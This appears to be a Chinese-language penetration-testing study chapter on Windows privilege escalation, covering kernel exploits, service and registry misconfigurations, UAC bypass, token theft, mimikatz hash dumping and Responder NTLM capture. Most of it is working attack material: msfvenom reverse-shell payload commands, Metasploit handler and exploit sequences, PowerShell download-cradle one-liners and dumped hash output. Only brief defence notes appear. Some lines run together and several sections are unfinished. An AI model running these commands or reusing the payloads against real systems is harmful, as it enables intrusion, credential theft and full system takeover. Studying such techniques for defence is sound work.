第四章 权限提升分析及防御

生成MSF木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exe
windows系统下的权限
user
Administrator
system      SAM文件读取,散列值进行Dump
TrustedInstaller常用的提权方法有Windows系统内核溢出漏洞提权、错误的系统配置提权、数据库提权等等。下面我们对常用的几种提权的方法进行逐一演示。

4.1 Windows系统内核溢出漏洞提权

溢出漏洞:缓冲区溢出漏洞。计算机有个地方叫做缓存区,大小是事先设置好的,如果用户输入的数据超过了缓存区的大小,程序就会溢出
系统内核溢出漏洞提权是一种通用的提权方法,可绕过系统中的所有安全限制。漏洞利用的关键在于目标系统没有及时安装补丁,导致黑客上传溢出程序,
溢出Administrator权限

4.1.1 手动查找发现缺失的补丁

获取目标机器的shell后,查看当前权限
whoami/groups
查看安装补丁
systeminfo
wmic qfe get caption,description,hotfixid,installedon
可以看到系统安装了三个补丁,攻击者会寻找相应提权的EXP,然后列出没有的补丁号。
Windows不同系统提权的漏洞和相应的补丁链接
https://github.com/SecWiki/windows-kernel-exploits

自动查找系统存在的漏洞:
方法一:Windows Exploit Suggester(漏洞数据库只更新到2017年)
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。
首先更新漏洞数据库,会生成一个xls的文件
python2 windows-exploit-suggester.py --update
生成.xls文件2021-04-17-mssb.xls
然后将系统信息保存为txt文档 sysinfo.txt
运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d 2021-04-17-mssb.xls -i sysinfo.txt

4.1.2 利用Metasploit发现缺失补丁

(1) local_exploit_suggester模块

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。
这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦假设我们已经获得了目标主机的一个session 1use post/multi/recon/local_exploit_suggester
set session 1
exploit

(2) enum_patches 模块

会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。
使用如下:
use post/windows/gather/enum_patches
set session 1
exploit

(3) Powershell中的Sherlock脚本

该脚本可快速查找缺少的本地权限升级漏洞的软件补丁。
下载地址:https://github.com/rasta-mouse/Sherlock.git
具体使用方法:
进入powershell
Get-ExecutionPolicy     查看默认配置
Set-ExecutionPolicy Restricted      不允许执行任何脚本
Set-ExecutionPolicy Unrestricted    可执行任意脚本Import-Module .\Sherlock.ps1 //导入模块本地执行
Find-AllVulns                   // 调用脚本后,执行搜索命令

(4) 选择漏洞并利用

查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是CVE-2018-8120。
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
各大平台提权工具:https://github.com/klsfct/getshell

执行

如上图,再执行提权程序之前,为普通用户whoami权限,执行后为system权限。msfconsole上完整操作如下:

4.2 Win系统配置错误漏洞提权

在Windows系统中,攻击者通常会通过系统内核溢出漏洞来提权,但是如果碰到无法通过系统内核溢出漏洞提权的情况时,会可以利用系统中的错误配置
漏洞来提权。常见的错误有,管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等下面演示几种常见的Windows系统错误配置漏洞
提权方法。

4.2.1 系统服务权限配置错误

Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此系统服务调用的可执行文件拥有写权限
就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限Windows 服务是以System权限运行的,因此,其文件、文件夹和注册表键值
都是受强访问控制机制保护该漏洞利用有以下两种情况:服务未运行:攻击者会使用任意服务直接替换原来的服务,然后重启服务服务正在运行且无法终止:
这种情况符合绝大多数漏洞利用的场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

(1) 利用PowerUP.ps1脚本

利用Powershell的一个脚本PowerUp,该脚本的AllChecks模块会检测目标主机存在的Windows服务漏洞,然后直接替换可执行文件本身来实现权限的提升
脚本下载地址:
https://github.com/PowerShellEmpire/PowerTools.git将该脚本远程下载或本地导入后,执行Invoke-AllChecks命令进行服务漏洞检测(脚本的绝对路径)
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Invoke-ALLChecks"powershell.exe -exec bypass -Command "&    {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"利用C#编写添加一个用户(未成功)
powershell -nop exec bypass IEX (New-Object Net.Webclient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Install-ServiceBinary-ServiceName 'OmniServers'-UserName shuteer -Password Password123!
重启系统,该服务将停止并自动添加用户

(2) MSF的permissions模块

该漏洞提权在metasploit上面对应的模块为:
exploit/windows/local/service_permissions1.首先需要拿到一个普通用户权限的session
利用MSF生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.25.15.8 lport=1234 -f exe >/root/hacker.exe
msf5 > search handler
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.25.15.8
msf5 exploit(multi/handler) > set lport 1234 端口为生成木马的端口
msf5 exploit(multi/handler) > exploit
meterpreter > getuid
Server username: WIN-7\lyp接下来利用exploit/windows/local/service_permissions提权
set session 1
set lport 1234
set session 1set AutoRunScript migrate -fexploit    自动迁移进程
exploit
发现成功提权至系统权限

service_permissions模块使用两种方法来获得系统权限,如果meterpreter以管理员权限运行,该模块会创建并运行一个新的服务。如果当前权限
不允许创建服务,该模块会判断哪些文件或者文件夹的权限有问题,并允许对他进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个
可执行程序,其文件名和安装路径都是随机的。

4.2.2 AlwaysInstallElevated注册表键提权

注册表AlwaysInstallElevated是一个策略设置项。Windows允许低权限
用户以system权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI文件什么是MSI文件:    专门用来管理和配置软件服务。
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
gpedit.msc  打开组策略编辑器
分别在计算机配置和用户配置中设置永远以最高权限安装
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。组策略——用户配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。

设置完成后会在注册表的以下两个位置自动创建键值“1”
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedHKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedcmd查询键值
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Get-RegistryAlwaysInstallElevatedpowershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

(1) PowerUp下的实战利用(待研究补充)

1.首先使用PowerUp.ps1脚本的Get-RegistryAlwaysInstallElevated模块来检查相关注册表是否被设置:powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
执行后如果显示True,这就意味着MSI文件是以System权限运行的如果返回的是“false”,则说明AlwaysInstallElevated注册表未被设置,我们可以用以下命令进行设置,进行注册表写入启动AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
此时再执行powerup.sp1脚本就会发现返回true了。
接下来运行Write-UserAddMSI模块,将在当前目录生成MSI文件
(msi文件内包含要执行的Payload,Payload将会以System权限执行):
这时,以普通用户权限运行UserAdd.msi,就会添加一个管理员账户。执行msiexec /q /i UserAdd.msi时会弹出一个对话框,
用来添加一个管理员用户:
接下来添加账户,运行Write-UserAddMSI模块,生成MSI文件
这时以普通用户权限运行UserAdd.msi就会添加一个管理员账户
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI

(2) MSF的always_install_elevated模块

Metasploit中相应的利用模块为:
exploit/windows/local/always_install_elevated
set session 4
可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机
的MSI文件,并在提权后删除所有已经部署的文件。

成功提权至系统权限

Metasploit 下的实战利用除了exploit/windows/local/always_install_elevated模块外,还有以下制作.msi文件的操作。
msfvenom -p windows/exec CMD=calc.exe -f msi > calc.msi
​
msfvenom -p windows/exec CMD=<命令> -f msi > calc.msi
将制作的calc上传至目标服务器,执行如下命令安装(普通用户权限)
msiexec /i calc.msi
即可成功安装并弹出计算器页面并且是以系统权限运行
tasklist /v | findstr "calc"

还可以使用以下方法直接生成msi格式的payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.25.15.8 lport=1234 –f msi -o shell.msi
/ quiet=在安装期间禁止向用户发送任何消息/ qn=无GUI/ i=常规(与管理)安装
执行后,新开启的监听中即可获得system权限的session。

(3) 防御注册表键提权

禁用注册表键的AlwaysInstallElevated,就可以阻止通过MSI文件进行提权

4.2.3 可信任服务路径漏洞

(1) 利用MSF进行漏洞提权

Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。
Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行,那么,如果我们将一个
“适当命名”的可执行程序上传到以上所说的受影响的目录中,服务一旦启动或重启,该程序就会以system权限运行了,可见该漏洞利用了服务路径
的文件/文件夹的权限该漏洞是由于一个服务的可执行文件没有正确的处理所引用的完整路径名,即一个服务的可执行文件的完整路径中含有空格且
没有被双引号引起来,那么该服务就存在这个漏洞
1.列出目标主机没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto"|findstr /i /v "C:\Windows\\" |findstr/i /v """
以我的物理机测试
F:\Vmware\Vmware\vmware-authd.exe
C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
发现疑似可能存在可信任服务漏洞
检查是否有写权限(特定权限才可以修改)
icacls "C:\Program Files (x86)\Common Files\Tencent\QQMusic"

文件夹权限
Everyone    用户拥有这个文件夹的完全控制权限,所有用户都可修改此文件夹
M           修改
F           完全控制
CI          从属容器将继承访问控制项
OI          从属文件将继承访问控制项
确认目标机器存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且拥有写权限的目录下,执行如下命令,尝试重启服务
sc stop <service_name>
sc start <service_name>具体利用过程:
我们生成一个msf马并重命名为hacker.exe上传到该“C:\Program Files\Program Folder(存在此漏洞的文件夹下)”目录下,然后分别执行如下命令
重启该WhoamiTest服务:
sc stop WhomaiTest
sc start WhomaiTest
该提权方法在metasploit中对应的模块为:
exploit/windows/local/unquoted_service_path,
使用如下:
use exploit/windows/local/unquoted_service_path
set session 7
set AutoRunScript migrate -f
exploit
这里要注意,新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,
服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中

4.2.4 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。
这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下
C:\sysprep.infC:\syspreg\sysprep.xmlC:\Windows\system32\sysprep.infC:\windows\system32\sysprep\sysprep.xmlC:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\System32\Sysprep\Unattend.xmlC:\Windows\System32\Sysprep\Panther\Unattend.xml

(1) MSF的enum_unattend模块

MSF集成了该漏洞的利用模块:
post/windows/gather/enum_unattend
全盘搜索配置文件并从中读取有用信息
use post/windows/gather/enum_unattend
set session 8
exploit

4.2.5 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行
我们的恶意程序。查看计算机的计划任务:
schtasks /query /fo list /v
schtasks /query /fo list /v >  C:\Users\17157\Desktop> schtasks.txtAccessChk工具下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
执行如下命令,查看指定目录的权限配置情况
accesschk.exe -dqv "C:\Program Files\schtasks\whoami" -accepteulaAccessChk使用
接受许可协议
accesschk.exe /accepteula
找出某个驱动器下所有权限配置有缺陷的文件夹路径
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\  找出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
R为读权限,W为写权限,RW表示有读写权限,如果前面为空则表示没有权限

4.3 组策略首选项提权分析及防范(待研究)

4.4 绕过UAC提权

4.4.1 UAC简介

UAC,即用户帐户控制
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。
如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序
UAC的三个级别
从不通知
程序试图更改我的计算机时通知我(默认设置)
始终通知

4.4.2 bypassuac模块

exploit/windows/local/ask(模块测试成功) # 弹出UAC确认窗口,然后诱使用户点击后获得system权限exploit/windows/local/bypassuac(模块测试成功)# 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。exploit/windows/local/bypassuac_injection
# 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
injection的对win10 32位的有效,对64位的无效exploit/windows/local/bypassuac_fodhelper
# 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过
#Windows 10的UAC。它将生成关闭UAC标志的第二个shell。exploit/windows/local/bypassuac_eventvwr(win7模块测试成功)
# 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。
#它将生成关闭UAC标志的第二个shell。exploit/windows/local/bypassuac_comhijack    # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。

MSF中Bypassuac模块的使用前提有两个:

(1)系统当前用户必须在管理员组中

(1)UAC为默认配置

假设已经获取目标机器的一个普通权限的shell。可以利用MSF木马上传到目标机器并执行来反弹shell生成MSF马
root@kali:~#msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exemsf5 > search handler
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.100.150
msf5 exploit(multi/handler) > set lport 1234 端口为生成木马的端口
msf5 exploit(multi/handler) > exploit使用bypassuac模块进行提权反弹shell
use exploit/windows/local/bypassuac
set session 1
exploit

实验成功截图:

4.4.3 RunAs模块

使用 exploit/windows/local/ask
创建一个可执行的文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否继续运行,如果点击运行,
就会反弹一个高权限的meterpreter shell
use exploit/windows/local/ask
set session 1
set filename lyp.exe
exploit

实验成功截图:

4.4.4 PowerShell下的绕过UAC提权

利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本
下载地址:
https://github.com/samratashok/nishang.git
将Invoke-PsUACme.ps1脚本上传至目标机器
cmd执行如下命令   使用sysprep方法并执行默认的payload
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose使用oobe方法并执行默认的payload
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -method oobe -Verbose或者进入脚本的位置,开启powershell
直接导入模块即可
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose  #使用oobe方法并执行默认的payload添加用户名密码
net user hacker root /add   添加hacker用户名
net user hacker /del        删除hacker用户名powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"

实验成功截图如下,此时会弹出一个具有系统权限的shell

4.4.5 Empire中的bypassuac模块

4.4.6 针对绕过UAC提权的防御措施

不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性
设置UAC为始终通知,或删除用户的本地管理员权限。

4.5 令牌窃取分析及防范

令牌就是系统的临时秘钥。相当于账户和密码,用来决定是否允许这次请求和判断这次请求属于哪一个用户,无需账号密码访问网络系统资源
Kerberos协议
网络认证协议,通过秘钥系统为客户机/服务器应用程序提供强大的认证服务
客户端请求证书工作原理如下
客户端向认证服务器(AS)发送请求,要求得到服务器的证书
AS收到请求后,将包含服务器秘钥的加密证书发送给客户端。该证书包括服务器ticket(服务器秘钥加密的客户机身份和一份会话秘钥)
和一个临时的加密秘钥(又叫做会话秘钥,session key)。同时也会给服务器发送一份,用来验证客户端的身份。
客户端将ticket传送到服务器上,服务器进行验证。客户端登录成功后,攻击者就可以通过入侵服务器获取客户端获取令牌。
Tokens简介
与进程相关联,进程创建时根据LoginSession分配对应的Token,含有该进程用户账号,组信息,权限等
用户每次登录,产生LoginSession分配对应的Token
访问资源时提交Token进行身份验证,类似于Web Cookie
Delegate Token(授权令牌):支持交互登录,例如,本地用户直接登录,远程桌面登录访问
Impersonate Token(模拟令牌):非交互会话,例如使用net use访问共享文件夹,令牌的数量取决于shell的访问级别

4.5.1 令牌窃取

假设已经通过handler模块获取了目标机器的一个meterpreter shell,可以通过bypassuac模块提权至系统权限,因为令牌的数量取决于当前
获取的shell的访问等级
use incognito           使用incognito模块不用获取账号密码窃取token将自己伪装成合法用户适用于域环境下提权渗透多种操作系统
list_tokens -u          列出可用令牌
impersonate_token lyp-PC\\lyp   利用模拟令牌进行登录

拓展之Hash攻击

(1)Hashdump和后渗透模块
通过Hashdump获取密码(需要有系统权限)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::绕过UAC的后渗透攻击模块
run post/windows/gather/smart_hashdump
工作流程如下
检查当前会话的权限和系统类型
检查是否是域控制服务器
从注册表读取hash,注入LSASS进程
如果是08server并具有管理员权限,直接getsystem尝试提权
如果是win7且UAC关闭并具有管理员权限,从注册表读取
03/XP直接getsystem,从注册表获取hash

实验成功截图:

(2)使用Mimikatz抓取密码
使用Mimikatz抓取密码
使用前提是已经获取Meterpreter shell,并且提权到系统权限。
加载mimikatz模块
meterpreter > load mimikatz
抓取目标计算机的hash
meterpreter > msv

抓取计算机的hash:

抓取系统票据:

抓取系统账户信息:

抓取计算机hash:

 mimikatz_command -f samdump::hashes

注意:如果以上方式破解不了hash值,可以采用hash传递的方式进行破解,详情请见笔记MSF基础

4.5.2 Rotten Potato本地提权分析

如果目标系统存在有效可用的令牌,可以通过Rotten Potato程序快速模拟用户令牌实现权限提升
下载地址:
https://github.com/foxglovesec/RottenPotato.git
下载完成后通过meterpreter上传至目标机器

完整攻击代码:

meterpreter > use incognito
meterpreter > list_tokens -u
sessions -i 4   (普通用户权限的shell)
meterpreter > upload /root/muma/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

实验成功截图:当前权限已经变为系统权限

拓展令牌窃取

(1)Powershell下的令牌窃取
下载地址:
https://github.com/PowerShellMafia/PowerSploit.git
Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本如下命令列举出token信息
IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop
\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate执行如下命令窃取system的token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"
执行成功后会反弹一个系统权限的shell

列出令牌:

盗用令牌成功后反弹一个系统权限的cmd shell:

(2)利用令牌获得TrustedInstaller权限
有时候,在Windows系统中即使获得了管理员权限和SYSTEM权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller权限。
例如C:\Windows\servicing路径,即使使用SYSTEM权限也无法在该路径进行读写文件
当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,位置位于
C:\Windows\servicing\TrustedInstaller.exe,我们可以用Get-Acl查看该程序的权限
Powershell中有一个Get-Acl命令,这个命令是用来获取资源安全描述的命令,可以用来查看文件的权限。

查看文件夹权限:该程序的权限(所属用户)为NT SERVICE\TrustedInstaller

此时可以借用TrustedInstaller.exe的token令牌创建子进程,这样子进程就有了TrustedInstaller权限思路如下:
启动服务TrustedInstaller
使用incognito获取TrustedInstaller.exe的token
获得TrustedInstaller权限

具体步骤:

在无TrustedInstaller权限时,无法进行写权限
cd C:\Windows\servicing
ehco "Thanks Bunny!" >whoami.txt

此时假设已经获取一个管理员权限的shell
首先进入shell启动TrustedInstaller服务
sc.exe start TrustedInstaller

use incognito
ps  查找TrustedInstaller的进程PID,我这里是820
steal_token <PID就是820>
getuid
设置完成后再次进入C:\Windows\servicing发现具有了写权限
echo "Thanks Bunny!" > whoami.txt

在Powershell下使用Invoke-TokenManipulation.ps1脚本测试
代码执行如下:
sc.exe start TrustedInstaller$id  = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerSploit
-master\Exfiltration\Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id窃取TrustedInstaller的令牌后,对C:\Windows\servicing目录就有了写权限

这里,在成功窃取TrustedInstaller的令牌后会发现自己的权限仍是NT AUTHORITY\SYSTEM,这是因为TrustedInstaller权限也会
显示为NT AUTHORITY\SYSTEM,执行下面这个命令:
whoami /groups | findstr TrustedInstaller
如果有回显,代表当前是TrustedInstaller权限

回显截图:

4.5.3 添加域管理员(待研究)

4.5.4 Empire下的令牌窃取分析(待研究)

4.5.5 针对令牌窃取提权的防御措施

及时安装微软推送的补丁
对于来路不明的或者危险的软件,既不要在系统中使用,也不要在虚拟机中使用
对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息
对于令牌,应采取加密存储及多长验证保护
使用加密链路SSL/TLS传输令牌,以防止被中间人窃听

4.6 无凭证条件下的权限获取分析及防范(实验待研究)

4.6.1 LLMNR和NetBIOS欺骗攻击基本概念

在本节的实验中,假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试
本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:DNS客户端在自己的内部名称缓存中查询名称。
如果没有找到,主机将向主 DNS发送名称查询请求。
如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。NetBIOS提供的三种服务如下。NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。
Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。
Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139端口。
Net-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击
Responder是使用Python语言编写的。
下载地址:
https://github.com/SpiderLabs/Responder.git
具体利用攻击步骤:
开启监听模式
python Responder.py -I eth0
在受害主机上执行不能解析的命令
net use \\whoami
Responder会自动回应客户端的请求并声明自己就是被输入了错误计算机的那台机器,然后尝试建立SMB连接。
客户端就会发送自己的NTLMv2哈希值进行身份验证

开启监听网卡:

成功获取受害主机的NTLMv2哈希值

lyp::lyp-PC:1122334455667788:CC51347D73E8EE4C3BB427B2FD0D9C59:010100000000000053BCE30D4F36D7015893E6ED0634FBDF0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000AC323AA5AED078EDEB68525A8B3357899D3915633B89C8BB475A1C6A818C5CFA0A001000000000000000000000000000000000000900160063006900660073002F00770068006F0061006D0069000000000000000000
抓取成功后,可利用kali自带的john工具破解hash
John the Ripper是一个快速的密码破解程序

本文参考以下博客:
https://blog.csdn.net/qq_45521281/article/details/113920096

第四章暂时告一段落

.

内网渗透-----权限分析及防御相关推荐

  1. 铭说 | 内网渗透工具分析——reGeorg

    01 前言 通常情况下用户认为将数据和业务分离,只将业务A服务器对外开放,让数据服务器B不对外开放,那么即使用户的A服务器失陷,数据依然保存在内网中,不会被黑客直接访问.用户认为这种方式可以尽可能降低 ...

  2. [内网渗透]—权限维持

    域权限维持 Skeleton Key(万能密码) 原理 当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这 ...

  3. 内网中入侵linux系统,MSSQL 入侵提权之内网渗透案例分析

    图文:udb311 主题:MSSQL内网渗透案例分析 发表:黑白前线 描述:对于内网渗透技术一直感觉很神秘,手中正巧有一个webshell是内网服务器.借此机会练习下内网入侵渗透技术!本文敏感信息以屏 ...

  4. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗...

    1 基础知识 1.1 网络 熟悉常见网络协议: https://www.ietf.org/standards/rfcs/ 1.2 操作系统 1.3 编程 2 恶意软件分析 2.1 分类 2.1.1 木 ...

  5. 内网渗透测试:Windows权限提升思路

    我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows系统内核溢 ...

  6. 内网渗透测试:NTLM Relay攻击分析

    目录 基础知识 NTLM认证过程 NTLM中继攻击原理 获得Net-NTLM Relay的思路 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...

  7. linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结

    在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索.Linux也是在内网渗透中很常见的操作 ...

  8. 内网安全:内网渗透.(拿到内网主机最高权限 vulntarget 靶场 A)

    内网安全:内网渗透.(拿到内网主机最高权限) 内网穿透又被称为NAT穿透,内网端口映射外网,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题.通过映射端口,让外网的电脑找到处于内 ...

  9. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

最新文章

  1. ubuntu16.04安装新版本golang
  2. [学习笔记]树上莫队
  3. Vue—基础概念—组建化
  4. 回调函数与PHP实例
  5. centos系统设置局域网静态IP
  6. Android类参考---Fragment(一)
  7. jQuery 1.2 带来的兼容问题及对策
  8. --save 和--save-dev的区别
  9. 我们如何实现“业务 100% 云原生化,让阿里中间件全面升级到公共云架构”?
